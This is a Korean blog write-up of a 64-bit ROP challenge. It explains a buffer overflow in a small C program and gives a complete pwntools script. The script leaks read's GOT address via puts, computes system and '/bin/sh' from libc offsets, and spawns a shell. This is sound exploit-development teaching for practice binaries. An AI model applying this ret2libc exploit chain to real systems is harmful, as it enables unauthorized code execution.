int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}

main함수에서 buf의 크기보다 많이 읽고있고, NX가 걸려있습니다. 또한, 다른 함수는 주어지지 않았어요. 그러면 ROP로 풀어봅시다!
1. 함수 파악
ssize_t write (int fd, const void *buf, size_t nbytes);
write함수의 원형입니다. 파일의 데이터를 출력시키는 함수이고, buf에 있는 데이터를 출력시킵니다.
ssize_t read (int fd, void *buf, size_t nbytes);
read함수의 원형입니다. 파일의 데이터를 입력받는 함수이고, buf에 데이터를 저장합니다.
2. 풀이 방향
우선 system함수는 lib함수이기에 ASLR이 걸려있습니다. 주소를 모른다는거죠. 따라서 다른 함수의 주소를 구해 offset을 이용한 함수 주소를 구해줘야 합니다.
위의 문제에선 read함수가 처음으로 호출되므로 read함수의 got를 가져올 수 있습니다.
(어떤 함수의 plt는 해당 함수의 got에 있는 주소를 참고해 이동하는데, 한번 이상 실행된 함수의 got만이 실제 주소를 가지고 있습니다. 한번 미만으로 실행된 함수는 다른 과정을 한번 걸쳐서 주소를 로드하는데, 지금은 그냥 넘어갑니다.)
1)지금 libc에서 인자 3개를 넘겨주는 gadget이 안보이므로 인자 1개만 넘겨주는 puts를 사용해 read_got를 출력시킵니다
2) offset을 구했다면 문자열 '/bin/sh\x00'의 주소를 system 함수의 인자로 넘겨줍니다.
3. 준비물
read_got (.got['read'])
puts_plt(.plt['puts'])
libc 의 system, read 함수 주소 (libc안에서의 offset을 구하기 위함)
libc의 /bin/sh\x00 문자열의 주소
pop rdi; ret주소 (puts함수의 인자는 하나)
4. 풀이
from pwn import *
#context.log_level='debug'
p = process("./rop_64bit")
elf = ELF("./rop_64bit")
libc = ELF("./libc.so.6")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
main = elf.symbols['main']
offset1 = libc.symbols['read'] - libc.symbols['system']
offset2 = libc.symbols['read'] - list(libc.search('/bin/sh'))[0]
pr = 0x0000000000400883
payload = "a"*0x48 # go to ret
payload += p64(pr) + p64(read_got) + p64(puts_plt) + p64(main)
p.send(payload)
sleep(1)
read_addr = u64(p.recv()[-7:-1]+"\x00\x00")
#read_addr = u64(p.recv()[-8:])
system = read_addr - offset1
binsh = read_addr - offset2
print ("read_addr: %s"%hex(read_addr))
print ("system_addr: %s"%hex(system))
print ("binsh_addr: %s"%hex(binsh))
payload2 = "a"*0x48
payload2 += p64(pr) + p64(binsh) + p64(system)
p.send(payload2)
p.interactive()
'pwnable' 카테고리의 다른 글
libc_base 구하기..? (0) | 2021.04.01 |
---|---|
one_gadget (0) | 2021.04.01 |
ROP(32bit) (0) | 2021.03.30 |
ROP에 대하여 (0) | 2021.03.30 |
보호기법 (0) | 2020.11.15 |